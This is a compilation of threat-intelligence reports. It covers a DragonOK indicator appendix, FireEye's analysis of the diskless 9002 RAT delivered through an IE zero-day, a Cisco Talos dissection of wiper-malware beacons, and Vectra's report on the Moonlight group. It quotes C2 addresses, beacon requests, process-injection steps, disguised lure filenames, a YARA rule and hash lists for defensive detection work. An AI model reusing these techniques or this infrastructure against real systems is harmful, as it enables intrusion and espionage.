]com modelinfos[.
]com www.sanspozone[.
]com Sysget Version 3 f9a1607cdcfd83555d2b3f4f539d3dc301d307e462a999484d7adb1f1eb9edf6 7f286fbc39746aa8feeefc88006bedd83a3176d2235e381354c3ea24fe33d21c 3b554ef43d9f3e70ead605ed38b5e66c0b8c0b9fc8df16997defa8e52824a2a6 8d7406f4d5759574416b8e443dd9d9cd6e24b5e39b1f5bc679e4a1ad54d409c6 edf32cb7aad7ae6f545f7d9f11e14a8899ab0ac51b224ed36cfc0d367daf5785 db19b9062063302d938bae51fe332f49134dc2e1947d980c82e778e9d7ca0616 cde217acb6cfe20948b37b16769164c5f384452e802759eaabcfa1946ea9e18b 9bee4f8674ee067159675f66ca8d940282b55fd1f71b8bc2aa32795fd55cd17e 22/23 39539eb972de4e5fe525b3226f679c94476dfc88b2032c70e5d7b66058619075 c45145ca9af7f21fff95c52726ff82595c9845b8e9d0dbf93ffe98b7a6fa8ee9 55325e9fccbdada83279e915e5aeb60d7b117f154fa2c3a38ec686d2552b1ebc 2c7d29da1b5468b49a4aef31eee6757dc5c3627bf2fbfb8e01dec12aed34736a 16dc75cf16d582eac6cbbe67b048a31fffa2fb525a76c5794dad7d751793c410 91eee738f99174461b9a4085ea70ddafc0997790e7e5d6d07704dcbbc72dc8bf 4a702ffbf01913cc3981d9802c075160dfd1beed3ba0681153d17623f781f53f e8bed52c58759e715d2a00bdb8a69e7e93def8d4f83d95986da21a549f4d51c5 ed5598716de2129915f427065f0a22f425f4087584e1fa176c6de6ad141889d1 adc86af1c03081482fe9ba9d8a8ae875d7217433164d54e40603e422451a2b90 f0540148768247ed001f3894cdfa52d8e40b17d38df0f97e040a49baa3f5c92e ce38a6e4f15b9986474c5d7c8a6e8b0826330f0135e1da087aae9eab60ea667a 5c4e98922e6981cf2a801674d7e79a573ebcdc9ebc875ef929511f585b9c4781 4880b43ddc8466d910b7b49b6779970c38ce095983cad110fa924b41f249f898 76b6f0359a3380943fece13033b79dc586706b8348a270ac71b589a5fd5790a4 feab16570c11ec713cfa952457502c7edd21643129c846609cb13cdc0ae4671c ed9ca7c06aac7525da5af3d1806b32eeb1c1d8f14cc31382ca52a14ed62f00a9 a3aa4b3b3471b0bb5b2f61cbc8a94edef4988436e0bc55e9503173c836fb57a3 29ee56ca66187ece41c1525ad27969a4b850a45815057a31acee7cc76e970909 65201380443210518621da9feb45756eac31213a21a81583cc158f8f65d50626 cccb906d06aef1e33d12b8b09c233e575482228d40ac17232acad2557da4e53b C2 Domains gtoimage[.
]com trend.gogolekr[.com www.bestfiles[.
]top Sysget Version 4 2ac8bc678e5fa3e87d34aee06d2cd56ab8e0ed04cd236cc9d4c5e0fa6d303fa3 8dc539e3d37ccd522c594dc7378c32e5b9deeffb37e7a7a5e9a96b9a23df398e C2 Domains www.sanseitime[.
]com 23/23 DragonOK Updates Toolset and Targets Multiple Geographic Regions Infiltration Malware Deployed Infrastructure Conclusion Appendix Sysget v2 Analysis Sysget v3 Analysis Sysget v4 Analysis IsSpace Analysis DragonOK Indicators Additional Indicators
Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method Recently, we discovered a new IE zero-day exploit in the wild, which has been used in a strategic Web compromise.
Specifically, the attackers inserted this zero-day exploit into a strategically important website, known to draw visitors that are likely interested in national and international security policy.
We have identified relationships between the infrastructure used in this attack and that used in Operation DeputyDog.
Furthermore, the attackers loaded the payload used in this attack directly into memory without first writing to disk  a technique not typically used by advanced persistent threat (APT) actors.
This technique will further complicate network defenders ability to triage compromised systems, using traditional forensics methods.
Enter Trojan.
APT.9002 On November 8, 2013 our colleagues Xiaobo Chen and Dan Caselden posted about a new Internet Explorer 0-day exploit seen in the wild.
This exploit was seen used in a strategic Web compromise.
The exploit chain was limited to one website.
There were no iframes or redirects to external sites to pull down the shellcode payload.
Through the FireEye Dynamic Threat Intelligence (DTI) cloud, we were able to retrieve the payload dropped in the attack.
This payload has been identified as a variant of Trojan.
APT.9002 (aka Hydraq/McRAT variant) and runs in memory only.
It does not write itself to disk, leaving little to no artifacts that can be used to identify infected endpoints.
Specifically, the payload is shellcode, which is decoded and directly injected into memory after successful exploitation via a series of steps.
After an initial XOR decoding of the payload with the key 0x9F, an instance of rundll32.exe is launched and injected with the payload using CreateProcessA, OpenProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.
http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html http://www.fireeye.com/blog/author/xiaobo-chen http://www.fireeye.com/blog/author/dan-caselden http://www.fireeye.com/blog/technical/2013/11/new-ie-zero-day-found-in-watering-hole-attack.html Figure 1  Initial XOR decoding of shellcode, with key 0x9F http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-1.png http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-2a.png http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-2b.png Figure 2  Shellcode launches rundll32.exe and injects payload After transfer of control to the injected payload in rundll32.exe, the shellcode is then subjected to two more levels of XOR decoding with the keys 001, followed by 0x6A.
Figure 3- Decoding shellcode with XOR key 001 http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-2c.png http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-3.png Figure 4  Decoding shellcode with XOR key 0x6A Process execution is then transferred to the final decoded payload, which is a variant of the 9002 RAT.
Figure 5  Transfer of process execution to final decoded payload The fact that the attackers used a non-persistent first stage payload suggests that they are confident in both their resources and skills.
As the payload was not persistent, the attackers had to work quickly, in order to gain control of victims and move laterally within affected organizations.
If the attacker did not immediately seize control of infected endpoints, they risked losing these compromised endpoints, as the endpoints could have been rebooted at any time  thus automatically wiping the in-memory Trojan.
APT.9002 malware variant from the infected endpoint.
Alternatively, the use of this non-persistent first stage may suggest that the attackers were confident that their intended targets would simply revisit the compromised website and be re-infected.
Command and Control Protocol and Infrastructure http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-4.png http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-5.png This Trojan.
APT.9002 variant connected to a command and control server at 111.68.9.93 over port 443.
It uses a non-HTTP protocol as well as an HTTP POST for communicating with the remote server.
However, the callback beacons have changed in this version, in comparison to the older 9002 RATs.
The older traditional version of 9002 RAT had a static 4-byte identifier at offset 0 in the callback network traffic.
This identifier was typically the string 9002, but we have also seen variants, where this has been modified  such as the 9002 variant documented in the Sunshop campaign.
Figure 6  Traditional 9002 RAT callback beacon In contrast, the beacon from the diskless 9002 payload used in the current IE 0-day attack is remarkably different and uses a dynamic 4-byte XOR key to encrypt the data.
This 4-byte key is present at offset 0 and changes with each subsequent beacon.
FireEye labs is aware that the 4- byte XOR version of 9002 has been in the wild for a while and is used by multiple APT actors, but this is the first time weve seen it deployed in the diskless payload method.
Figure 7  Sample callback beacons of the diskless 9002 RAT payload http://www.fireeye.com/blog/technical/cyber-exploits/2013/08/the-sunshop-campaign-continues.html http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-6.png http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-7.png Figure 8  XOR decrypted callback beacons of the diskless 9002 RAT payload The XOR decoded data always contains the static value \x09\x12\x11\x20 at offset 16.
This value is in fact hardcoded in packet data construction function prior to XOR encoding.
This value most likely is the date 2011-12-09 but its significance is not known at this time.
http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-8.png Figure 9  Packet data construction function showing hardcoded value The diskless 9002 RAT payload also makes a POST request, which has also changed from the traditional version.
It has Base64 stub data, instead of the static string AA.
The User-Agent string and URI pattern remain the same however.
It uses the static string lynx in the User-Agent string and the URI is incremental hexadecimal values.
Traditional 9002 RAT Diskless 9002 RAT POST /4 HTTP/1.1 User-Agent: lynx Host: ieee.boeing-job.com Content-Length: 2 Connection: Keep-Alive Cache-Control: no-cache POST /2 HTTP/1.1 User-Agent: lynx Host: 111.68.9.93:443 Content-Length: 104 Connection: Keep-Alive Cache-Control: no-cache http://www.fireeye.com/blog/wp-content/uploads/2013/11/figure-9.png AA wUeAKsFHgCrBR4AqwUeAKshVkQrBR4Aqw UeAKsFHgCrBR4AqwUeAKsFHgCrBR4Aqw UeAKsFHgCrBR4AqwUeAKsFHgCrBR4AqwUe AKg The data in the POST stub is also encrypted with a 4-byte XOR key, and when decrypted, the data is similar to the data in the non-HTTP beacon and also has the static value \x09\x12\x11\x20.
Campaign Analysis We previously observed 104130d666ab3f640255140007f0b12d connecting to the same 111.68.9.93 IP address.
Analysis of MD5 104130d666ab3f640255140007f0b12d revealed that it shared unique identifying characteristics with 90a37e54c53ffb78969644b1a7038e8c, acbc249061a6a2fb09271a68d53567d9, and 20854f54b0d03118681410245be39bd8.
MD5 acbc249061a6a2fb09271a68d53567d9 and 90a37e54c53ffb78969644b1a7038e8c are both Trojan.
APT.9002 variants and connect to a command and control server at 58.64.143.244.
MD5 20854f54b0d03118681410245be39bd8 is another Trojan.
APT.9002 variant.
This variant connected to a command and control server at ad04.bounceme.net.
Passive DNS analysis of this domain revealed that it resolved to 58.64.213.104 between 2011-09-23 and 2011-10-21.
The following other domains have also been seen resolving to this same IP address: DOMAIN FIRST SEEN LAST SEEN dll.freshdns.org 2011-12-08 2012-01-31 grado.selfip.com 2011-12-23 2012-01-10 usc-data.suroot.com 2012-02-20 2012-02-22 usa-mail.scieron.com 2011-12-01 2012-02-22 If the domain dll.freshdns.org rings a bell, it should.
While covering a different Internet Explorer Zero-day (CVE-2013-3893) and the associated Operation DeputyDog campaign, we reported that the CnC infrastructure used in that campaign overlapped with this same domain: dll.freshdns.org.
Inside the in-memory version of the Trojan.
APT.9002 payload used in this strategic Web compromise, we identified the following interesting string: rat_UnInstall.
Through DTI, we found this same string present in a number of different samples including the ones discussed above: 104130d666ab3f640255140007f0b12d 90a37e54c53ffb78969644b1a7038e8c acbc249061a6a2fb09271a68d53567d9 20854f54b0d03118681410245be39bd8 Based on this analysis, all of these samples, including the in-memory variant, can be detected with the following simple YARA signature: rule FE_APT_9002_rat  meta: author  FireEye Labs strings: mz  4d 5a a  rat_UnInstall wide ascii condition: (mz at 0) and a  We also found the following strings of interest present in these above 9002 RAT samples (excluding the in-memory variant): McpRoXy.exe SoundMax.dll These strings were all observed and highlighted by Bit9 here.
As Bit9 notes in their blog, Trojan.
APT.9002 (aka Hydraq/McRAT) was also used in the original Operation Aurora campaign, and the rat_UnInstall string can be found in the original Aurora samples confirming the lineage.
Conclusions By utilizing strategic Web compromises along with in-memory payload delivery tactics and multiple nested methods of obfuscation, this campaign has proven to be exceptionally accomplished and elusive.
APT actors are clearly learning and employing new tactics.
With uncanny timing and a penchant for consistently employing Zero-day exploits in targeted attacks, we expect APT threat actors to continue to evolve and launch new campaigns for the foreseeable future.
Not surprisingly, these old dogs continue to learn new tricks.
FireEye Labs would like to thank iSIGHT Partners for their assistance with this research.
This entry was posted in Exploits, Targeted Attack, Threat Intelligence, Threat Research, Vulnerabilities https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ http://www.fireeye.com/blog/category/technical/cyber-exploits http://www.fireeye.com/blog/category/technical/targeted-attack http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/category/technical/vulnerabilities by Ned Moran, Sai Omkar Vashisht, Mike Scott and Thoufique Haq.
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Wiper Malware  A Detection Deep Dive This post was authored by Christopher Marczewski with contributions from Craig WIlliams A new piece of wiper malware has received quite a bit of media attention.
Despite all the recent press, Ciscos Talos team has historic examples of this type of malware going back to the 1990s.
Data is the new target, this should not surprise anyone.
Recent examples of malware effectively destroying data -- putting it out of victims reach  also include Cryptowall, and Cryptolocker, common ransomware variants delivered by exploit kits and other means.
Wiping systems is also an effective way to cover up malicious activity and make incident response more difficult, such as in the case of the DarkSeoul malware in 2013.
Any company that introduced proper back-up plans in response to recent ransomware like Cryptolocker or Cryptowall should already be protected to a degree against these threats.
Mitigation strategies like defense in depth will also help minimize the chance of this malware reaching end systems.
The Deep Dive Initially we started investigating a sample reported to be associated with the incident to improve detection efficacy.
Based off our analysis of e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a we were able to link 0753f8a7ae38fdb830484d0d737f975884499b9335e70b7d22b7d4ab149c01b5 as a nearly identical sample.
By the time we reached the network-related functions during our analysis, the relevant IP addresses belonging to the C2 servers were no longer responding back as expected.
In order to capture the necessary traffic we had to modify both of the aforementioned disk wiper components.
One modification replaced one of the hard-coded C2 server IP addresses with a local address belonging to a decoy VM while changing references to the other hard-coded addresses to point to this local address instead.
The other modification simply changed the parameter being passed to an instance of the Sleep() function so debugging efforts wouldnt be put on hold for 45 minutes (the original sample used a 10 minutes sleep).
When we initially examined a rule that was being distributed in the public we were looking for areas where we could improve coverage to better protect our customers.
The new Wiper variant is poorly written code and luckily includes very little obfuscation.
The author(s) made the mistake of allocating a buffer for the send() function that surpasses the data they wished to include in the payload: a null-terminated opening parentheses byte, the infected hosts local IP address, and the first 15 bytes of the host name.
This incorrect buffer allocation results in the desired data, in addition to some miscellaneous data already present on the stack (including the 0xFFFFFFFF bytes we alerted on in the first revision of our rule).
https://linkedin.com/in/christophermarczewski http://blogs.cisco.com/author/CraigWilliams http://blogs.cisco.com/security/thoughts-on-darkseoul-data-sharing-and-targeted-attackers http://krebsonsecurity.com/2014/12/sony-breach-may-have-exposed-employee-healthcare-salary-data/comment-page-1/ Simply running the disk wiper component on different versions of Windows proves the miscellaneous data from the stack that we onced alerted on only applies to beacons being sent from Win XP hosts: Beacon payload from infected WinXP x86 VM: Beacon payload from infected Win7 x64 VM: We have tested part of this hypothesis by running the malware on the same VMs when they had maximum length host names.
The resulting beacons continued to limit the hostname bytes in the payload to 15 bytes.
To confirm the entire hypothesis, we had to debug and step carefully through the instructions responsible for the data in these beacon payloads.
You start by running the disk wiper component alone with the -w flag (which will naturally occur at some point when the disk wiper component is executed and copies itself to host three times).
When you hit the following instruction we have to force execution of the alternate jump condition using the debugger to get to the next interesting chunk of assembly: We eventually arrive to our function call in the code block following the ZF toggle.
Its responsible for setting up the necessary socket and sending the beacon payload once a connection has been established: Later on, we reach a call within the current function (sub_402D10) that is purely responsible for sending the constructed payload: When we arrive at the following instruction https://en.wikipedia.org/wiki/Zero_flag The code is just about to move 10 double words (ECX is currently 0x0A) from ESI (currently assigned to 0x415D60, which was on the stack prior to calling sub_402C80) to the stack itself (starting at EDI, currently assigned stack pointer 0x12F4CE).
Finally, we reach the call to the Windows function send(): Now, at this point youre probably thinking, Cool.
You explained how the payload is ultimately sent out, but how does this explain the random bytes in the payload?.
Glad you asked Shortly after the instruction where you had to manually toggle the ZF but prior to sub_402D10, theres a call to a function that fetches the name of the infected host: The first block of instructions belonging to this function is shown below: When you get to the following instruction in that block ECX  0x08, ESI  0x14F8D4,  EDI  0x415D64.
This means that eight double words will be extracted starting at the pointer in ESI and moved to the pointer in EDI.
Guess whats on the stack right now?
:
The data from these eight stack frames will get moved to the .data section, starting at 0x415D64.
Youll get the four prefix bytes added on once the local IP address is acquired from that same code block via: And, as weve already detailed earlier, 0x2800 will be added as final prefix bytes to the resulting payload.
But, we now have another hard-coded element we can alert on in the beacon payload: The third instruction shown above will store 0x04 as a doubleword to 0x415D84, which just happens to be at the very end of the payload currently stored in the .data section.
With this information, we were able to revise accordingly and design the following rule: Click for a text version.
It is important to note that sid 32674 will continue to be improved in the future as the malware evolves.
This blog applies to the variants we are aware of as of revision 2 of the signature.
This rule will alert on the samples weve analyzed thus far that send these beacons back to their respective C2 servers.
Whats more, the rule alerts on all of the hard-coded portions of the payload, providing more complete coverage regardless of the major Windows version running on these infected hosts.
Conclusion We always want to deliver up-to-date detection for the latest threats in the quickest most efficient manner possible.
However, the quality of the detection should never be dismissed.
The suggested rule we initially landed upon did cover these wiper components when run under select Windows environments, but our team wanted to fully understand the reasoning and justification behind every option of that rule.
This helps us ensure we cover the threat to the best extent possible and do so in the most efficient way possible.
Once we did we were able to analyze further and release coverage that was more robust for our customers to help prevent further compromises of this magnitude that may just utilize the Wiper malware family.
Coverage Advanced Malware Protection (AMP) is well suited to detect and block this type of attack.
CWS or WSA web scanning will prevent access to malicious websites and detect the malware used in this attack.
The Network Security protection of IPS and NGFW have up-to-date signatures and will block this threat.
ESA is not applicable for this attack because this threat is not using email.
Tags: APT, malware, security, Talos http://blogs.cisco.com/wp-content/uploads/rule.txt http://www.cisco.com/c/en/us/support/security/amp-firepower-software-license/tsd-products-support-series-home.html http://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html http://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html http://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html http://www.cisco.com/c/en/us/products/security/asa-next-generation-firewall-services/index.html http://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html http://blogs.cisco.com/tag/apt http://blogs.cisco.com/tag/malware http://blogs.cisco.com/tag/security-2 http://blogs.cisco.com/tag/talos2
Moonlight  Targeted attacks in the Middle East blog.vectranetworks.com /blog/moonlight-middle-east-targeted-attacks Posted by Chris Doman on Oct 26, 2016 1:30:00 AM Find me on: Vectra Threat Labs researchers have uncovered the activities of a group of individuals currently engaged in targeted attacks against entities in the Middle East.
We identified over 200 samples of malware generated by the group over the last two years.
These attacks are themed around Middle Eastern political issues and the motivation appears to relate to espionage, as opposed to opportunistic or criminal intentions.
These are not technically sophisticated attackers.
However, they do deploy some novel tactics, detailed below, and the implications of these attacks could be significant.
Both the tools and targets of Moonlight are reminiscent of Gaza Hacker Team, a group of attackers that are said to be politically aligned to the Hamas[1].
In spite of these commonalities, we have not identified any firm links between the two groups.
We refer to this group of attackers as Moonlight, after the name the attackers chose for one of their command-and-control domains.
[
1] http://www.securityweek.com/gaza-cybergang-attacks-attributed-hamas Moonlights targets Vectra Networks worked with providers to sinkhole Moonlights command-and-control infrastructure.
The hosts seen via our sinkhole show a clear targeting of Middle Eastern victims: Figure 1: Moonlights victims of attacks Most of these victims are connecting from home networks, and are therefore unidentifiable, though one notable victim is a Palestinian news organization.
Vectra believe the victims from the United States and China are outliers.
These infected machines were primarily from university networks and were likely either security researchers sandboxing malware or overseas students targeted for links to their homeland.
Indirect targeting data from to the online virus scanning site VirusTotal, and traffic statistics from the URL linking services the attackers use indicate many of these attacks are targeted towards either small groups or individual targets: Figure 2: The statistics show one of the attackers malicious files, registering only two clicks OpenMe.docx.exe The attackers name their malware as documents of interest to their victims, to entice them to open them.
The malicious decoy documents display themes relevant to Middle Eastern politics, and provide some indication as to who the intended targets may be: 20160611-NCRI-AR-Rajavi-Syria-Ramadan.docx.exe Assassination of Talal of Jordan YouTube.exe Audio recording of the meeting of Egyptian Emirati.
MP3.exe Brigadier Alleno behind moral projection of Zakaria al-Agha.docx.exe exe Fatah foreign conspiracies.exe Wapons and ammunition stores found while digging a waterway in Egyptian Rafah.exe Hamas and Fatah agree to the following.exe Hamas and the Egyptian army.exe 1/10 http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks http://blog.vectranetworks.com/blog/author/chris-doman http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftn1 http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftnref1 http://www.securityweek.com/gaza-cybergang-attacks-attributed-hamas http://cta-redirect.hubspot.com/cta/redirect/388196/c55c408c-ddec-4ebb-a41f-666d25face78 Hamas and the Salafist jihadist in the Gaza Strip.scr Hamas Betrayal.exe Important leaking security meeting Arab Emirates.exe scr Leaked audio recording of the meeting of Egyptian security Emirates.mp3.exe Leaking important Arab Emirates security meeting.mp3.exe Meeting of the Executive Committee of the PLO.exe President sources oust Fatah leadership in Gaza and the cost Abu Samhadana to lead the organization.doc.exe Sawiris and the project of the Suez Canal.exe Sinai Bombings.docx.exe The full truth behind Abu Ghussains disease.exe The grandson of President Abbas in the festival of love, and what response was Mr. Samir Mashharawi him.exe The names of the perpetrators of the bombings in the Gaza Strip.exe The son of Mufti takfiri Hamas fist anti-drug police.docx.exe Moonlight demonstrates that 0-days, or even exploits, arent required to successfully compromise machines.
Instead, they show a preference for the classic social engineering approach of sending e-mails with attachments or links to files with the filename [legitimate file- extension].exe, for example: scr Secrets documents Panama.docx.exe doc.exe Audio recording of the meeting of Egyptian Emirati.mp3.exe Moonlight typically makes good on the promised theme of the lures, and present the victim with a relevant decoy document: Figure 3: Meeting of the Executive Committee of the PLO - Decoy documents opened on victim machines by the malware Figure 4:  Decoy video about women trafficked to Syria Impersonated new organizations The attackers typically deploy malicious files via shortened URLs, presumably to look more innocuous.
Many of the links and domains impersonate Middle Eastern media organizations such as Eln News and Wattan TV: http://bit[.
]do/www-elnnews-com http://wattan.tep[.
]su/deaf.rar http://www.aman-news[.
]com/arab/betrayal20of20Hamas.20exe One domain impersonating the media, Alwatenvoice[.
]com, also hosts landing pages to encourage victims to download the malware, described below.
Distribution One Facebook user has shared a number of posts from the malicious Alwatenvoice[.
]com: 2/10 Figure 5:  Two pages containing malware shared by the user on Facebook The second post is of particular interest.
The Facebook information box says the article is from All4Syria[.
]info, a popular independent news outlet reporting on Syria, but in fact it leads to Alwatenvoice[.
]com: Figure 6: The link to All4Syria[.
]info that actually leads to Alwatenvoice[.
]com The user is then presented with a page that looks very much like the real All4Syria website: Figure 7: The malicious page on Alwatenvoice[.
]com on the left, and the legitimate site All4Syria[.
]nfo on the right If a user clicks play, they are asked to download malware named      .mp4.exe (Syrian Prostitution Rings.mp4.exe).
3/10 The profile posting these malicious links has a very small number of public posts.
The first post from 2015 shows the user setting their wallpaper to the logo of Fatah.
There are two celebrations of Facebook friendship displayed publicly, one of whom can be identified from the name and Facebook profile information.
Their details match that of a senior Fatah militant who Reuters reported was targeted for assassination during violent struggles between Hamas in Fatah in 2007.
We would stress that even if the account is controlled by the attackers it could be an account that they have compromised, or impersonates an innocent and unconnected person.
It is also possible that the account sharing the malicious links belongs to a user who is unknowingly spreading malicious content.
H-Worm Moonlight typically delivers an obfuscated version of the widely available H-Worm[2], a malicious Visual Basic Script worm, as their first stage backdoor.
Moonlight deploy an ever-changing range of deployment scripts to evade anti-virus software.
Many of these use basic scripts within self-extracting RAR archives to install the malware: [2] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html Figure 8: Some of the malicious scripts used by Moonlight to deploy H-Worm In these excerpts, we see the Moonlight make some strange choices in deploying their malware such as: Opening a decoy document from the Windows System folder Preventing users from deleting any files (including the installed malware) from the C:\temp\ folder There is a large amount of variation in the scripts used to install malware, and its likely that the large number of samples have been produced by hand, rather than a more productionised process of using build tools that is preferred by more sophisticated groups.
njRat Records to URLs that users have submitted to VirusTotal record the attackers installing additional malware using the access they gained with the first stage H-Worm malware.
Examples of this are recorded in URLs submitted to VirusTotal[3] for the domain fun2[.
]dynu.com: Date Location 2016-05-24 C:/Users/Administrator/Desktop/service.exe 4/10 http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftn1 http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftnref1 https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftn1 2016-05-31 C:/Users/Administrator/Desktop/WindowsService1.exe 2016-08-10 C:/users/administrator/desktop/k.exe 2016-08-10 C:/users/administrator/desktop/service.exe [3] https://www.virustotal.com/en/domain/fun2.dynu.com/information/ As with earlier stages, the attackers employ a number of methods to deploy the well-known[4] njRat which seems to vary from sample to sample.
In one example the malware stores a program within a base64 compressed blob.
This is then loaded into memory, and executed using EntryPoint.
Invoke(): Figure 9: An example loader for njRat deployed by Moonlight [4] http://www.symantec.com/connect/blogs/simple-njrat-fuels-nascent-middle-east-cybercrime-scene and http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered.pdf The 24 Kb of code this decodes to is another .NET application  njRat.
Other droppers also decrypt the blob, before it is executed.
Both njRat and code obfuscators such as this are freely available[5], and there are a plethora of tutorials available online to help budding hackers use them with limited technical knowledge.
[
5] Eg https://www.youtube.com/watch?vDub4g4tVezI A significant operation Moonlights command-and-control infrastructure is very simple.
It consists of dynamic domains controlled via home internet connections in the West Bank of Palestine.
We were surprised to identify a very large number of varied malware samples (over 200) attached to this simple infrastructure: Figure 10: Moonlights infrastructure 5/10 http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftnref1 https://www.virustotal.com/en/domain/fun2.dynu.com/information/ http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftn1 http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftnref1 http://www.symantec.com/connect/blogs/simple-njrat-fuels-nascent-middle-east-cybercrime-scene http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered.pdf http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftn1 https://www.youtube.com/watch?vDub4g4tVezI Attacker evolution The earliest attacks appear to be non-targeted, opportunistically inviting victims to click links on Youtube videos and social media posts typical of Middle-Eastern hacktivists.
Later attacks appear to target particular groups or individuals.
Moonlights usage of the Google URL shortening service allows us to roughly compare attacks over time: Figure 11: One attack from December 2014 (left), and one from December 2015 (right) Who are the attackers?
In general, the assigned IP-location of command and control servers is a poor indication [6] of attacker locations.
However, in this case the provided locations of home networks in the Gaza strip are likely to be accurate and fits with other details from the attacks.
The attackers also demonstrate low operational security, particularly in their earlier attacks.
Domain Whois records and social media posts provide strong ideas as to the identities of some of those involved.
It would not be prudent to publish the identities of the possible attackers in a conflict zone.
Perhaps a more interesting question is What are the attackers aims?
Or if they are being directed, who is ultimately funding and tasking them?
[
6] With reference to http://www.csoonline.com/article/3028788/techology-business/norse-corp-deconstructing-threat-intelligence-on-iran.html and https://threatbutt.com/map/ Countering attacks Attacks such as these are often overlooked due to their low technical sophistication.
But the stakes of these attacks are high, even if the 6/10 http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftn1 http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks_ftnref1 http://www.csoonline.com/article/3028788/techology-business/norse-corp-deconstructing-threat-intelligence-on-iran.html https://threatbutt.com/map/ attacker skill level is low.
If the motivation behind these attacks is indeed political, the consequences could mean loss of life.
Violence between rival political factions in Palestine has resulted in the deaths of hundreds of people.
Individuals and organizations outside of the Middle East are unlikely to encounter the attacks by Moonlight.
However, the tools and techniques deployed are typical of low-skilled but determined attackers within the Middle East and serve as an example of the kinds of attacks that often slip through.
Moonlights strategy of obfuscating well known malware appears to be fairly successful at evading host-based security mechanisms.
The network communications of the well-known malware families such as H-Worm and njRat should still trigger existing network signature base detection tools.
Vectra customers are protected through the following generic detections: Suspicious HTTP  Provides generic detection of HTTP based malware such as H-Worm External Remote Access Provides generic detection of RATs such as njRat Malware Update  Provides generic detection of secondary malware over HTTP(S) Security professionals can review the Appendix for a full listing of file-hashes and domains employed in these attackers.
Vectra Threat Labs operates at the precise intersection of security research and data science.
We take unexplained phenomena seen in customer networks and dig deeper to find the underlying reasons for the observed behavior.
Click here to read more of our reasearch.
Appendix Domains Any traffic to the following domains on your network should be investigated.
Please note that many of these domains have been sinkholed by Vectra .
alwatenvoice[.
]com elnnews-com.duckdns[.
]org fun1.dynu[.
]com fun2.dynu[.
]com fun3.dynu[.
]com fun4.dynu[.
]com fun5.dynu[.
]com h.safeteamdyndns[.
]se h0tmail.duckdns[.
]org hackteam1.spdns[.
]de hema200.publicvm[.
]com hema200.safeteamdyndns[.
]se hema2000.dynu[.
]com hp200.spdns[.
]eu hp500.linkpc[.
]net hp600.spdns[.
]eu 7/10 http://www.vectranetworks.com/threatlabs/ http://www.vectranetworks.com/threatlabs/ moonlights.linkpc[.
]net new4.spdns[.
]eu opstin.spdns[.
]eu run500.linkpc[.
]net run900.linkpc[.
]net wattan24.duckdns[.
]org aman-news[.
]com MD5 Hashes ABD8F478FAF299F8684A517DCB1DF997 003F460F6EA6B446F31AA4DC57F3B027 568218BB07C021BBAB3B6D6560D7208C AC19A1E5D604D82EF81E35756F3A10D1 0392F8BE82A297242BAAD10A9A2912EB 573138482B185F493B49D3966650CDAD AC3918287452FEBD3855FF4BC3D82A07 04A4CC757B4D283FF8DE246C19E8D230 5947BBAD60D4D00EF545E2FB3B1FD03E AC89E42EE593CEA80030820618F2BCF6 04B2D3F38055B2B821B30E82C44D6040 59E18D4ED3C97279DB16984C07213EB1 ACAB47BB5E8ED34056905FF63353CABC 0512F533BF2E8E5EC9637B804C101C2B 5BF5BE6B45292FBA0C0EDC415F248922 ACCF82FC29467C08CE087072FEA3D14A 05618077C03B80ACE066B9851966FBB1 5CC9964DD41BE3D9DACBD0425EC032A9 ACD58BB34BB275DE1570917624ADE609 0606FEE55F39784E9889C1AAA0F27882 5CFD542A561F1EE679FCD6AA81991F3A AE238D1E52CD4A9DECFE769FE5844747 064F0A5FCC869F6EB77405D3FE98AF87 5E59ACF240E2881B1C1E2F5586C9CA6F AE9E9E3C73483E8B6C6E58E5629DC4D0 07EB24224A722EA9D8A3DC610B834D7A 5F0437C7DC45D4C10A045954DB77DD31 B053BBB499D68CCE1782B33FDE7B43FF 0975222DE39433A25E672595B1960CDB 61381610E76266423ACE96670DE45DC0 B0B9332082E98D51CB7265A45A945A22 0A38DDCC3431BAE448E38C99562162EF 6212E9A07225D6B71769D2BBBC20CD04 B184FA51604D7EAA5A45350D1E08E5B7 0A49531FC0C00E991E51F34398F3AB88 6218A61D18F5A74F82ABC31A5F073C4B B3FB8253595FED348464B5C9A01AD4AD 0ABBD2765B563F2B8748485FA84DA070 62C0B9EA3638BEF977A7D33970E52E38 B532676D6A5A6684B62A078BFBCBBD0B 0AED206FC534C310724E122BF6BCDF7F 